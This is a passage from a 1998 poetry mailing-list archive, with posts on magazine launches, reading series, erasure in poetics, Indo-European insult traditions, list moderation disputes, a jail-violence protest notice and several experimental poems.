Anyhow, it's a magazine worth checking out. Poems by Catherine Barnett, Brenda Coultas, Tonya Foster, Greta Goetz, Lisa Jarnot, Carol Mirakove, Ange Mlinko, Cynthia Nelson, Hoa Nguyen, Alice Notley and Prageeta Sharma are also included.

Contact Jordan if you're interested. The Hat is cool.

Dale

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274. Ralph Wessman
famous reporter 18 (apologies for x-posting)
Mon 7 Dec 1998

---

famous reporter 18

To be launched by Christiane Bostock - at Hobart Bookshop
5.30 p.m., Thursday 10th December.

In this issue:
poetry
John Allison, Marilyn Arnold, eric beach, Christiane Bostock, Laurie Brinklow, Adrian Caesar, SM Chianti, Alison Croggon, MTC Cronin, Alison Daniel, Stephen Edgar, Rory Harris, Greta Harrison, JS Harry, Pete Hay, Randolph Healy, Jennie Herrera, Karen Knight, Jules Leigh Koch, Yve Louis, Myron Lysenko, Angela Mahoney, Claire Mahoney, Stephen Mallick, Lorraine Marwood, Lissa Mitchell, Mal Morgan, Adam Morgenstern, Louise Oxley, Bill Pitt, Lyn Reeves, Charmaine Salter, Emma Searle, Andrea Sherwood, Matt Simpson, Juliana Spahr, Maurice Strangard, John West, Terry Whitebeach, Les Wicks, Elizabeth Winfield and Quendryth Young

reviews
Geoff Dean Over The Fence (Barney Roberts)
Benjamin Gilmour The Song of a Hundred Miles (David Jack)
Hobo magazine (Marilyn Arnold)
Robert Manne The Way We Live Now (Anne Collins)
Cassandra Pybus Till Apples Grow on an Orange Tree (Lisbet De Castro Lopo)
Henry Reynolds This Whispering in our Hearts (Elizabeth Dean)

articles
Kevin Brophy, Medieval Thinking and the Novelization of the Poem (a talk presented at the Wollongong Poetry
Workshops, January 1998)
Jane Downing, Getting Away From It All
Mary Jenkins, A Meditation on Women, Place and 'The Sound of One Hand Clapping'
Robyn Mathison, Farmhouse Fragments
Mark O'Flynn, launch speech: Five Islands Press New Poets Program - Ric Adamson, Lucy Dougan, Jane Gibian,
Judy Johnson, Alistair Stewart and Jane Williams
Lisa Robertson, Essay (from "Soft Architecture")
Liz Winfield, Aftertaste - a brief exploration of recently published journals and collections

opinion Freedom of Speech & the Fatwa Against Rushdie Yasmine Galenorn The Satanic Verses, Art or Libel? Rukhsana Khan Tasmanian Parliamentary Reform Norm Adamczewski, Robert Bell, Simon Cubit, Fred Duncan, Neil McCormick, John Shimmins, Annie Willock

prose
Orson 'Steve' Claridge / Anne Shimmins / Zenda Vecchio

Young Writers
poetry and prose by Katie Astrinakis, Bridget Eltham, Daniel Grey, Chess Haig, Alena Hrasky, Jamie McCallum, Kate Murphy, Liz Rogowski, Paige Smith, Ben Walter and Megan Williams

100 words prose & poetry section
Ann Abrahmsen, Emma Buss, Bill Collis, David Farnsworth, Sandy Fitts, Kevin Gillam, Jacqueline Hogan-Toll, Catherine Mair, Marguerite Varday, John West and Rosmarie Winter

haiku
Ross Clarke, Ysobel Copp, John West, Kate McMaugh, Estelle Randall, Sue Mill, Robin Loftus, Marylee Valentine, Carol Easton, Margarita Engle, Patricia Prime, Cornelis Vleeskens, Matt Hetherington, Catherine Mair, E.A. Horne, Martha Connors, Sue Stanford, Bill West

famous reporter # 18 ... $8 from Walleah Press, PO Box 368, North Hobart, Tasmania 7002 Australia

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275. Hilton Manfred Obenzinger
Re: Auster Studies
Mon 7 Dec 1998

Jim Bennett and George Thompson asked for any resources on Paul Auster's poetry. I dug through bibliographic sources -- most of which is in French or German. In fact, it's quite startling and disturbing to see the reception and commentary Auster receives in Europe and how relatively ignored he is in the US. I found only one article about his poetry: "In the Realm of the Naked Eye: The Poetry of Paul Auster" by Norman Finkelstein in the collection of esays on Auster's work, Beyond the Red Notebook (Phil: U of Penn, 1995). Of course, most of his work is fiction (and now film), so the paucity of criticism on his poetry has some explanation. But, given the questions of poetics he addresses (such as the erasure discusion going on right now), his fiction and poetry should be receiving far more attention than it has. This may be one instance where "academic" or more scholarly consideration is far behind other venues. Perhaps other folks know more and can share..

Hilton Obenzinger

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276. George Thompson

Note on the Indo-European origins of Gabe Gudding's game

Mon 7 Dec 1998

Gabe Gudding and I have been talking off-list about the history of "insultive traditions". Since I am aware of such traditions in old Indo-European at least, I thought that some of the list might be interested to know that there is a kind of long intellectual background to what GG has been doing on this list.

An Old Irish poet [a fili, a 'seer'], for example, if you annoyed him enough, could curse, mock, revile, or 'insult' you. And you would become shamed, or disgraced, or even disfigured, as a result. You might even die of shame, if the poet were a really good one in this genre. We call it blame poetry these days. I wonder if anyone on this list has suffered any disfigurement, etc., lately.

Maybe it would be interesting to consider Gabe's game in light of Old English 'flyting' [see OED 'flite, flyte'], or the Old Norse verbal duels that Loki, among the gods, was fond of. You could also check out "The Contest of Homer and Hesiod" [or, even better, the BATRAXOMYOMAXIA, 'The Battle of the Frogs and Mice']. Or, on a more perssonal note, look at what happened when Archilochus trashed Lycambes [L. and his three daughters unfortunately committed suicide, so they say].

Walter Ong has been mentioned on this list in the past. He is the Jesuit who has been interested in oral literature and oral consciousness since the sixties, and has written some books that many on the list know about [*Presence of the Word*, *Interfaces of the Word*, *Orality and Literacy*, and something called *Fighting For Life: Contest, Sexuality and Consciousness*]. In this last one Ong examines the agonistic roots of culture [esp. male culture], and claims that oral literature is predominantly agonistic, that academic culture is predominantly agonistic, and that intellectual culture in general is predominantly agonistic. Hard to argue with him, given our own experience. Isn't poetic culture predominantly agonistic too?

I don't know if this is a cultural universal. In general, I don't trust claims of cultural universality. But in any case this list's behavior seems to confirm Ong's thesis, as does my familiarity with Vedic culture and literature. May I trouble the list with one more example, this time from Vedic literature? [Please erase this if you please; erasure is interesting too, to be sure...].

People tend to think of the Vedas as populated by wise or vacant swamis and yogis, or chanting brahmins pouring smoking ghee into midnight fires. Well, there's some of that in them. But there is a surprising lot also of what Gabe calls "insultive tradition."

Now the Vedic horse sacrifice, which I do believe tells us more about ourselves than the Pisan Cantos do [no, I don't know why], has many interesting features which I'm sure the list would enjoy [Bowering and Bromige in particular, but let's not go there]. But I will confine myself to the insults that are exchanged between the brahmins on the one hand and the chief queens on the other [an exchange that immdiately follows the riddling that frames the central mystery of this Vedic "Mass": the sacrifice of the horse].

I won't get into what the horse and the chief queen do, though that is in fact what triggers the insults that follow. The brahmins proceed to insult the queens by calling tauntingly to the queens' little tweetees [literally: little birds]., and the queens respond to this taunting by insulting the size of the brahmins' little peckers [literally again: little birds].

Well, a whole lot of indiscriminate insulting, of a shockingly graphic sexual kind, ensues, [including the suggestion, made by the guy who has sponsored the whole damned expensive sacrifice, the king himself, that the queen should be buggered by his proxy, the horse...]. Makes you want to convert to Buddhism.

Well, in the end, or up the rear, the point is this: according to the Vedas, "insulting speeches are for all kinds of attainment, for through the horse sacrifice all desires are achieved..."

So what has Gabe attained? I don't know. But you're supposed to end the Vedic horse sacrifice with some sweet smelling verses, in order to propitiate those who have been offended [i.e., the gods]. And Gabe I think has done things as prescribed in the Vedas, after all.

So, why has Henry Gould been sacrificed as well? There seems to me to be no need for this, since all of the *correct* insulting has already been accomplished, and, after all, it was only a ritual.

The ritual is supposed to protect us from the real.... what has happened here?

GT

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277. Carl Wilson
Re: Erasing
Mon 7 Dec 1998

Erasure as both a poetic and a personal concern: There was a time in my writing when i wanted to pare down to the single luminous statement, to let the writing serve as much as a mark for what wasn't said or understood as for what was. I was influenced in this i think both by a sort of mystical

catholic heritage, in which writing felt like a gestural ritual to evoke grace, pain, mystery, (but also a sort of domination and control), and by my thin adolescent knowledge of eastern writing, which seemed to me then to deal much with evanescence, the sparsity and insufficiency (and wonder) of our perceptions and of the thingness of things.

Later i began to feel that it was more true to my own hyperactive, compulsively descriptive and analytical personality (a product of the culture i really grew in) to be more expansive, to catalogue and imagine via language how much muchness seemed to be, that the sparseness i was fascinated by was interior, more a product of how little i knew - being a writer seemed to imply facing some overwhelmingly indefinite variability.

Today, it doesn't seem to me to be a choice between, as Pierre put it, fullness/unfolding and erasure/minimalism. It's the interplay of the two - which i think Rachel's work in the Drafts displays quite powerfully. Erasure as the outside (and other) to the folding and unfolding. Because erasure - loss - forgetting - elimination - is both dangerous and necessary.

Erasure refers to the huge pit of absence that an event like the holocaust opens in history. Erasure is also a hazard to be faced - denial, forgetting, loss of history. But it is also true to the process of letting go of, for instance, prejudice or other sick habits of thought, confining codes, errors, the crippling power of trauma. Reinventing the self (and the social, and their respective languages), so necessary to continuance, involves selective forgetting.

Much of what we do in poetry now, i think, is to represent such processes of transformation, loss and gain, but always in flux. Modernism's forward-thrust (make-it-new revolution, extincting the old) has given way to a spiral. (Not that this is unprecedented - Stevens' poem as act of the mind, ye olde stream-of-consciousness etc.) Many of us work on non-linear models to call up the ways that thought, perspective, representation, articulation double back on themselves, forget some things, repeat and recall others, bog down, calm down, agitate again, bifurcate, split, mark, break, erase, write. Little of interest is happening in still-lifes, static judgments.

Yet we are haunted by those erasures, their smudges and tears. If it's all transformation, how do we judge our responsibilities (and ethical choices). Where does the forgotten go? How much of the etymology and how many past uses of a word lurk under its apparent surface and sound? The unspeakability of that haunting interrupts our accounts of interruption, pins them to their tracks, demands its own recognition.

The mention of Retallack's ai/d/sappearance - alphabetic subtraction - also reminds of the Oulipo lipograms, esp. Perec's La disparition or (in English) A Void, in which the erased letter (E) from the vocabulary of the book

also becomes the central point of the plot - everyone is looking for the thing that has been erased. While Perec is comic about it, mostly, the seriousness of the theme for Perec in postwar France is fairly evident.

These seem inescapable writing issues, but Rachel's quite right I think to note this as a particularly end-of-this-century urgency. I'm curious how this approach to erasure, at least in tone, might change in 10 or 20 years.

carl patrick wilson

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278. Steven Shoemaker
non-po reading
Mon 7 Dec 1998

I'm a little behind the eight ball on this one, what with all my demanding but oh so rewarding work on the Rules Committee. But I love the list when it lists, and listens.

Dodie Bellamy--Letters of Mina Harker. Picked this up as a result of all the glowing recommendations from various listmembers. And it does glow, like a radioactive isotope.

Nicholson Baker--The Size of Thoughts, Essays and other Lumber. Baker is a bit wonkish sometimes but also brilliant, funny, & one of the master practictioners of the sentence writing today (though maybe not the *new* sentence). Of special interest to list-types are two wonderful essays, one on the history of punctuation and another on the demise of the card catalog system. I went into the latter essay thinking about how the old card catalogs always gave me a stiff neck, and remembering that you couldn't log in from home back in the days, but B. makes a damn good case that the destruction of these catalogs to make way for on-line systems has been an atrocity. (He's not saying we shouldn't have gone on-line, but he's pissed that libraries simply dumped & destroyed the old catalogs, and he points out both some lost virtues of the old system and some serious flaws in the new one. Might consider this one under the "erasure" thread.)

Humberto R. Maturana and Francisco J. Varela--The Tree of Knowledge: The Biological Roots of Human Understanding. Weird neurobiologists from Chile.

The O. Henry Awards Prize Stories, Best of 1997. The Prize Jury for this one was Louise Erdrich, Thom Jones, & David Foster Wallace. Some too-familiar formulas here & there, but also some pretty good stories, including the first-prize winner by Mary Gordon, and one that made it in from Conjunctions by Rick Moody. I hadn't known either of these writers, but it says in the back that Moody wrote the novel The Ice Storm. I'm assuming that this is the novel the

movie was based on, but don't know for sure. Anyway, I liked the movie--anyone read the book?

steve

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279. joel lewis
f.y.i. (ho-ho)
Mon 7 Dec 1998

*** Canada co. pulls Jesus cellular ad

RED DEER, Alberta (AP) - An Alberta telephone company pulled a TV ad featuring one of the Three Wise Men pitching cell phones to the baby Jesus after receiving about 100 complaints. "We felt people felt strongly about this religious issue and that it would be better to withdraw the ads," said Arnie Stephens, vice president of marketing for Telus Mobility, the company that canceled the ad Friday. The commercial featured two of the Wise Men offering frankincense and myrrh to a figure off-camera, presumably Jesus. Instead of offering gold, the third Wise Man offers a deal on the phone company's prepaid cell-phone plan. "We expected we would get some calls," Stephens said. "The intensity of the feelings, that's something new to us." ###

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280. louis stroffolino
ATTENTION KEVIN AND DODIE---
Mon 7 Dec 1998

Could one of you (or both of you) backchannel me?
thanks, chris stroffolino

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281. Daniel Kane
"The Academy of the Future is Opening..."
Mon 7 Dec 1998

Could someone let me know what poem the line "The Academy of the Future is Opening its Doors" is from -- an Ashbery poem, I know, but which one? And if you know for sure that the line "feminine, marvellous, and tough" is "originally" from F. O'Hara, could you let me know which O'Hara poem it is? Please backchannel responses to <[redacted]>. Much appreciated.

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282. George Bowering
Re: i want you to make love to me
Mon 7 Dec 1998

Bromige is a genius--but then I always almost knew that. Iteacher.n my overquick memory/thinking abt that novel, I considered the political story in its broad parodic swipe as the main show, and had never thought that long about the love story, seeing it as just one of many human aspirations shown to be battened but still seeping. But Brom is right. The love story, and its limits and "betrayal" a terrif centre of the book. Thanks, ol'

> *Thats mainly what I wanted to say, but feeling obliged to provide further substance, would remark that this novel's chief contribution is not its vision of a future, banal as it is, but its life as a love story--which is also a de (con) struction of the love affair. Perhaps the vision was not banal in 1948, but to those of us who have lived thru the 50 years since, it is--whereas the excruciating anaylsis of passionate love and the society whose stability is thought to depend upon its repression, has currency and will travel.*

GB

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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283. Thomas Bell
Re: Erasing
Tue 8 Dec 1998

Thank you for posting what you did. I have seen verbalizing as an important element in resolving trauma in my work (as psychologist). In my work as poet I have felt an impulse to obscure or obliterate what I've said for some time (going so far at times as incorporating visual work that covers the text. I suspect that all these are related.

tom bell

Rachel Blau DuPlessis wrote:
> textually. There is (for me) no sense of textuality as a value in a
> vacuum; making texts, and alluding to textual stuff (like black
> pages, or glosses) is absolutely linked to depths of ethical and

> social and poetic feeling. I don't know whether this is totally
> clear.
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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284. **Simon DeDeo**
(no subject)
Tue 8 Dec 1998

I'm sorry to hear the Henry Gould has left the list; I've had my fair share of conflicts with him, and, even when I'd been lurking and disengaged from most of the debates on the list, I still welcomed his voice.

Have been reading Lyn Hejinian's _The Cold of Poetry_, which is my first real forary into the L=A=N=G=U=A=G=E poets. I'm working on a feature for the arts magazine here on "metaphysical" poets (beginning with Eliot's notion in his lectures), and the piece has been widening its scope step by step until I decided that one useful thing I might do is try to bring a writer (Lyn) into the discussions that happen around the campus, which usually center around a resolute conservative position. The basic idea -- that much of what is considered poetry today is a simple concatenation of aphorisms about suburban life, sometimes widened into a "multicultural" domain.

I began considering the piece when I realized the strange dead feeling that came over me when I read so much of the "approved" poetry of recent years; once upon a time, reading opened avenues into new experience. Now, so much of what is written seems to be a series of anguished reworkings of what is always around. Reading the _Cold of Poetry_, I realized how much I had been missing simply because I had "gotten too good" at reading, say, the Confessionals -- which is partly my fault, but partly, I think, theirs.

In other news: I'm beginning the ground work for a paper on notions of beauty in an urban context (it's actually for Elaine Scarry's class that came up for discussion here a few days ago). Is there anybody on the list that can point to some interesting works on urban space? There is, unfortunately, so much bad work out there in this field that I feel I need a Virgil to guide me to useful starting points.

-- Simon

[redacted]
http://www.fas.harvard.edu/~sdedeo/localpapers.html

↑ Index

285. **A. Jenn Sondheim**
boo-boo
Tue 8 Dec 1998

==

boo-boo

When I die, I want to take you with me, I want to take ten of the ten, and fifteen of the fifteen, And I will wear the dreary blue-blue you have given me - There will be one atom left, to placate the dreary vacuum, One molecule grappled by cell-counts sloughed and scrambled, Tissue rent asunder, organs corroded, soul's debris abandoned - And I will wear the blue-blue, I will wear the overcoat and ring, Carnelion round my neck, magnetite across my throat, and singing - Your name - as I am torn asunder, the fifteen dreary words, The ten lost and forlorn colors, the fifteen dying notes, The ten corroded sites - you Blue-Blue, wear my overcoat - You Blue-Blue wear my ring - placate my death with dreary yours - What a vacuum here, and souls of dying atoms split asunder Stumble just beneath you Blue-Blue, taking me abandoned -

---

↑ Index

286. **J Kuszai**
erased
Tue 8 Dec 1998

i find it a sad commentary on the state of this list that we get Rachel Blau DuPlessis out of her erasing-frenzy to respond to a thread with some serious potential, and yet, not one post in reply. Perhaps we should have another round of "Free Henry"-- as that seems to be what keeps people going around here. I would like to cite a passage from Rachel's post and throw it back into the mix, as I think it warrants further attention:

"... The trauma of amnesia and the trauma of remembering, witnessing are intertwined for me. My interest did not begin "textually" (that is solely as a question of rhetoric, representation, or formal interests) tho it takes shape textually. There is (for me) no sense of textuality as a value in a vacuum; making texts,

and alluding to textual stuff (like black pages, or glosses) is absolutely linked to depths of ethical and social and poetic feeling."

it would be good to hear further elaboration as to what is meant by this statement. Obviously we don't live in isolation, nor in a vacuum. I would be curious to hear of instances of poetic value which assert themselves as such-- i.e. as without regard to externalia in this day and age; and perhaps more importantly, how do the various poets and/or critics on this list see/ or solve the issues raised by questions of erasure. I am thinking, initially, of Susan Howe's *Eikon Basilike* and the resolution of such by "making the dead walk again" ... more from Rachel, whose work on Susan and others has been at the fore, would be much appreciated...

↑ Index

287. miekal and
The Martyrology of St. Henry
Tue 8 Dec 1998

---

to
charles & joel
& the players

feels to me
like the silence & confusion
imposed upon the list
comes from a lot of
wondering from all of us
"am I to be censured, scolded, moderated next?"

beyond the question of
whether st henry or st gabe or st kent
conformed to some mysterious preconception
of list ettiquette, is a need
as a reader to want to build a
faith & trust among this written community
so that what we say is supported
& given chance to rise about the ordinary,
to be more than digit noise in the cathode fantasy.

my understanding of such establishing of trust includes
having available to us the microscopic truth of
what the saint fuck is going on, that moderation
& the wizard behind the curtain is exposed & made visible,
so that we can put a stop to wondering
if we are are the next target

& speaking personally, Im prompted to jump into
this for a moment, not because Im paranoid,
but because this textual wilderness comes with responsibilities &
accounting,
which would seems to me to be relevant to the list
as a whole, not just the select few who are closest
to the editorial closet

truly the undersigned

st and the impaired

↑ Index

288. **MAYHEW**
ccoolliiddggee qquueerryy
Tue 8 Dec 1998

A query:

Is there any recording commercially or otherwise available of Coolidge reading with the Rova Quartet?

Is the list "enslaved" once again? Let's hope it is soon free again to work its magic.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

289. **schuchat**
Re: call me morbid call me pale
Tue 8 Dec 1998

I don't know French, so I am probably the best person to answer your query.

The "abstract French lyric" is by Pierre Reverie.

The "French abstract" lyric is an academic piece, a song about a list of articles either in French or on French.

Can the "Abstract" French "Lyric" can cut the mustard?

Le lyric abstruit Fran-swa? C'est moi!

However, there is also the possibility of Isidore Isou, the Romanian (naturellement) inventor of Le Poesie Lettriste, who wrote "in French" to the extent that lettriste poesie would be in a language.

It is possible that Andy Britain also wrote a French abstract lyric.

As we say in Russia, "etot vsou"

↑ Index

290. Poetry Project
call me morbid call me pale
Tue 8 Dec 1998

I was wondering if anyone could, in public or in private, explain to me what exactly the "Abstract French Lyric" or the "French Abstract Lyric" is? I hear rumors of its existence, but no one has ever grabbed me by the waist & pointed one out.

Anselm Berrigan

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291. Poetry Project
readings at the Poetry Project
Tue 8 Dec 1998

Hi Everybody,

The readings at the Poetry Project this week are:

Ange Mlinko & Lee Harwood on Wednesday, December 9th at 8 pm

This is a very rare stateside appearance for Lee Harwood, who has just published his first full-length collection in many years, _Morning Light_.

Jaywalking Blues: d.a. levy Lives on Friday, Dec. 11th at 10:30 pm with Edward Sanders, Mike Golden, and others.

Robert Bove and Janice Lowe on Monday, Dec. 8th at 8 pm

Mitch Highfill & Ed Roberson on Wednesday, Dec. 16th at 8 pm

AND

Not Home for the Holidays--Dysfunctional Family Stories with Todd Colby, Sarah Schulman, Bonny Finberg, Taylor Mead and Hal Sirowitz on Friday, Dec. 18th at 10:30 pm

That will be our last reading before the 25th Annual New Year's Day Marathon Reading on JANUARY 1ST, starting at 2 pm (Patti Smith, Eric Bogosian & Cecil Taylor are some of the headliners)

For information, call [redacted].

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292. Rachel Levitsky
[Fwd: Protest Institutional Violence in NYC Jails]
Tue 8 Dec 1998

This is a multi-part message in MIME format.

Maybe some of you can go to this today in NYC. I'll be teaching.

Bytheway regarding my backstreet affairs with GB: I thought I was having backchannel affairs and could no longer be arrested by the Disney Police but its true they threw the book at us for considering our demographics and insisting they mattered despite our wealth and it didn't help matters at all that children were crying over the icky fluids we'd gotten all over their rugrats.

by igcb.igc.org (8.8.8/8.8.8) with ESMTP id NAA14468;
Thu, 3 Dec 1998 13:51:37 -0800 (PST)
by igce.igc.org (8.9.1/8.9.1) with SMTP id NAA06122;
Thu, 3 Dec 1998 13:45:10 -0800 (PST)
From: "richie perez" <[redacted]>
Organization: boricuanet
To: [redacted], [redacted],
"Melissa Hernandez" <[redacted]>, [redacted],
[redacted], Monifa Akinwole <[redacted]>,
"Monique M. Larocque" <[redacted]>,
[redacted], [redacted], [redacted],
"Ray Rivera" <[redacted]>
Date: Thu, 3 Dec 1998 16:08:44 +0000
Subject: Protest Institutional Violence in NYC Jails
Priority: normal

------- Forwarded Message Follows -------
From: Self </rperez>
To: [redacted]
Subject: Protest Institutional Violence in NYC Jails
Date: Thu, 3 Dec 1998 16:01:39

JUSTICE FOR JOSE SANTOS
STOP INSTITUTIONAL VIOLENCE IN NYC JAILS

Tuesday, Dec. 8, 1998, 5:30 - 7:00 pm
Dept. of Corrections/60 Hudson St.
(1,2, A trains to Chambers St.)

Jose "Rolow" Santos was murdered by Rikers Island correction officers on June 9, 1997. The killing was covered up as a "suicide" by the NYC Dept. of Corrections.

An independent autopsy revealed injuries inconsistent with suicide and consistent with violence--violence which witnesses say started in a confrontation with correction officers in the visiting room the day before Jose Santos's death.

Ever day, the number of young people, overwhelmingly young Blacks and Latinos, that are imprisoned grows. Like police brutality on the outside, violence in NYC prisons at the hands of correction officers has escalated to the point that the city was recently forced to settle a federal lawsuit for assault and murder against prisoners.

The Santos family, which has joined other families fighting police abuse, urges you to join them. Their son, like thousands of others awaiting trial on Rikers Island, was supposed to be INNOCENT UNTIL PROVEN GUILTY. But brutal guards, protected by a brutal system took away his rights and his life.

Richie Perez
National Congress for Puerto Rican Rights
[redacted].
Richie Perez
[redacted]
[redacted]

----------6CC16258225--

↑ Index

293. Anastasios Kozaitis

Vanishing posts

Tue 8 Dec 1998

I must admit I'm one of the lurkers, and I was one of the digest folks, to boot. I think I did it for two reasons. I didn't think I could resist the temptation to read each and every post I was receiving throughout the day at work. So, I signed up as a digest reader. This allowed me the opportunity to get acquainted with the scope and the discourse of the list. I also understand the I wasn't getting as

much as I could out of the list by not entering the dialogue. But, I believed that I need a bit of an education or that I should take the cotton out of my ears and stuff it in my mouth as an orientation. I also realized it became difficult to respond when I read the digest each night on the way home from work, and I would miss many of the weekend posts. I still miss the weekend posts. Reading the digests, however, has been a good education for me, and I have learned a great deal about things I never considered when it came to poetry.

The recent banter has been educational as well. I, for one, miss Henry Gould's
posts and wish he'd come back.

Yesterday, I switched back to mail poetics rather than digest. And, it appears that no one has posted in almost 24 hours. This post may be more of a test than anything else.

Open ended question: Why do the poets on this list write poetry?

↑ Index

294. Daniel Carter
items eye polite dangers and other softnesses
Tue 8 Dec 1998

---

time atoms heavenlyweight reefer lexicon feathery quill tonal recall list: leathery queue will/shall until still the elements and things of maya evenly weighted Ur's the her's day skat ladle moon re: fire spray doubt 'n' co-up-links lead car what sin spiral channel recall a vital verbidity something about the taste a chilly little riddle lick dis'n the world as a hole info-host cavity propulsion unit t' self-untie unity divine my destined candy mass tick-up tea cup hiccupsphere even further hidden class dis t' ink shut-ins writ all out plain 'n' ample sample up here to disappear down there derive pie lonesome displacement by one t' be the cave-sinner preywrist addition edition on wedding day in favorable write nuffin' tear rhyme wit ear-leering works fray blown t' melt a physical entrances upon the lathery pre-take off spiralling off somewhere the recipient of mail domination: subject: energy depletion flawprof points of inflammation shot with sugar brainstream of the very clearest words some planet screen Shadow Town valves via sedentary entrances hisses t' rue careerest works the act of joining taken to some other field location so as not to prematurely disturb or truncate current spaces these for emphasis apt laws 'n' modern spice re-braining t' trance fire imprunity ticklinkly gun sitter link-time daily is a name rotational report on our lather sensuous mutual versations/verse-actions hastily t' Lola way one zone leaf a gloss o' tea plays all rougher me gentle swayin' easy

↑ Index

295. Randy Prunty
Re: items eye polite dangers and other softnesses
Tue 8 Dec 1998

hey Daniel. I like your manifesto.

Randy

↑ Index

296. Joe Amato/Kass Fleisher
Re: Concerns
Tue 8 Dec 1998

well now we have two posts---juliana's and kent's---which in many ways are oppositionally aligned, insofar as their approach to the "content" of this list goes (what it should be, whether it should be controlled in any way, etc.)... i suppose i don't have to note, as well, that juliana is a woman (a fact re which she makes direct reference) and kent is a man...

i'm reminded of the fascist vs. anarchist debates in italy... only reminded though...

one additional issue that needs to be brought to the fore here: one of the reasons we're struggling of late is that this medium has brought us all together in some unprecedented ways... yes, the issue of medium---i won't belabor it here, but the public-private dimension of this list constitutes in some ways a direct challenge to print practices, incl. perhaps the editorial function that charles is trying, in my view is trying at some pains, to institute (and i'm not "accusing" or "blaming" charles here---i've no doubt he's doing his best)...

we're stuck (in the sense i long ago came to appreciate via pirsig's _zen and the art of motorcycle maintenance_), and the only way out of our stuckness, i think, will be to find a way to make for infrequent, real-time, up-front moderation (much as self-moderation/regulation currently works in collective terms)... but i'll leave it to charles, as listowner, to listen to what we're all busy telling him (front & backchannel) and weigh in here with what he thinks we can/should/might/oughtta do...

best,

joe

↑ Index

297. **Chris McCreary**
a modest proposal
Tue 8 Dec 1998

This is in response to Juliana Spahr's tentative suggestion that the list could possibly become a more restricted forum limited to the posting of announcements, etc.

I'd just like to point out that that's all most of us are apparently on the list for, anyway. I know that my life became much easier once I started deleting every message that didn't have the word "announcement" in its subject line or wasn't written by someone who I know &/or whose opinions interest me. I'm sure that I've missed an interesting thread or two, but I consider the trade off to be worthwhile there.

Maybe folks announcing a reading, publication, or whatever could be sure that the subject line for their message reflects this-- that way, those of us who don't read each & every message would still know to actually read the announcement...

Despite Mom's advice, ignoring the schoolyard bully didn't always work-- they could still push you in the mud puddle & take your lunch money. Here, though, the power is all in your "delete" command... use it wisely & use it often. & remember, when it comes to the temptation to read the messages from the pompous blowhards that you love to hate, just say no.

--Chris McCreary

↑ Index

298. **Aldon Nielsen**
Re: whodunnit / festival
Tue 8 Dec 1998

> *Aldon Nielsen 13*
> *Dale Smith 13*

matter / antimatter???

Dale, how did we ever become so symmetrical?

↑ Index

299. **Mark Prejsnar**
under and over erasure
Tue 8 Dec 1998

It seems to me folks have pinpointed TWO levels of erasure, in responding to Joanna's challenge...

1. erasure being mentioned, and woven, as an image/conceptual nexus, into a poem;

2. the absence of words from blocks of space in the poem, as a formal and structural dimension of the writing;

...the first seems exemplified by the passages from the Drafts Joanna quotes; the second by the Tablets, as someone mentioned.

Then there was the poem by David Antin, whose form was skywriting.

Which brings up an interesting point. I agree with a very early response to JF, which mentioned the overwhelming universe of clotted and crowded information/data/bricolage that characterizes contemporary subjective experience....As tho poets were trying to clear away space, to speak (to breathe!); but also as if they were apprehending the crush of info overload and noise, as itself a form of erasure: things fail to cohere and are in effect lost because of the overburden of hyperactive and disconnected "meanings."

But there's another source for erasing, which is a philosophical concern with the reality of things, of activities, of poetry, of ideas. This was part of Antin's motivation, i would say. I think that poets who have been influenced to some degree by Buddhistic and similar traditions, would be among those interested in erasure: like the disappearing of the mind when it realizes its own nonreality, in Buddhism, Taoism, etc. ...the achievement of nonself.

Unfortunately, i don't recall offhand a use of erasing modalities (of either type) in the poets i know and like best, who were influenced by these traditions: Mac Low, Cage.

Kent Johnson might wish to speak to the general topic of Buddhism-influenced poets and erasure (if i had read his magnificent anthology as closely as it deserves, maybe i could come up with more)

The Atlanta poet John Lowther has spent time living in Asia, in part to encounter and study these Eastern traditions. He also counts Mac Low and Cage (as well as Antin) among his primary interests and influences...He has a long work in which he used Duchamp's random generated forms, called "stoppages," to **erase** sections of prose from a number of books on Duchamp's life and work....These are further worked, and the result is a sequence of poems shaped and formed by useing *exclusion* or erasure as **the primary poetic technique**, in a sense.

Some of this work has just now appeared in Kenning 3. More is going to appear soon in Misc. Proj.

Mark P.

↑ Index

300. **Amy King**

Rachel raises a good point: She Speaks of Poetry

Tue 8 Dec 1998

I am not so much pissed for I do not mind the contention
but being young and lazy with books
I would like to read more about poetics
and poetry
but Poetics not only describes behavior
between poets

The poets like to show what they know
as well as what they feel

Sometimes you put your neck out

in the world in text

and ex-pect

(or ate) it

to come back.

Rachel, I don't think this is solely a "girl" thing as suggested
of intimidation tho some of it
but it is a community (person/s) that comes with communal dynamics
including checks and balances, desires/endeavors/skeletons, never clear cut,
fluxuating though topics creep up and die (deleting ...)
This one wins this time
tho for a Tirade, a long one
and yes, I wish it would move on a bit, not back, so I can lurk and learn
and hear poets talk about other poet products
and one day
speak.

Thanks Rachel.

-----Original Message-----
From: Rachel Levitsky <[redacted]>
To: Amy King <[redacted]>
Date: Tuesday, December 08, 1998 1:13 PM
Subject: Re: why Peter Ganick cannot think... a listserv

> *Amy I liked this a lot am interested in the form between a sentence and*
> *a poetic line and between in the missing parts, erasure, seems both*
> *pissed and romantic, up my alley*
> *--Rachel*

↑ Index

301. **R.Gancie/C.Parcelli**
Re: erasing
Tue 8 Dec 1998

Yes but this is the 'chance' of vivisection. Because though the permutations possible from throwing the yarrow (sic?) sticks is very high, it is still finite and therefore not truly random or subject to chance. Jacques Monod in Chance and Necessity tries to make an 'ontological' case for discrete operations but falls back on the throw of dice as a metaphor with banal philosophical results. The same misinterpretation occurs throughout the physico-philosophical literature e.g. Max Born, early Quine, all of the Vienna Circle excepting the divine Herr Wittgenstein who was really not a member, and Logical Postivism. The sticks or the die contain their own discretion (e.g. discrete) or limitation but as Kant or Schopenhauer would say only for the thrower e.g. the perceiver. This takes us back to Heidegger who strongly insists that attributing a process that is fundamentally a product of Dasein e.g. 'being in the world' to 'being' throuugh Dasein comes to its knowing contributes to the existential dislocation that he relates to the modern technological condition. The 'flowering out' of Cage's best work comes from these limitations or discretions and are accorded an aesthetic and not an ontological status as a result. Erasure here can operate successfully precisely because there is an upper bound---acknowledged or 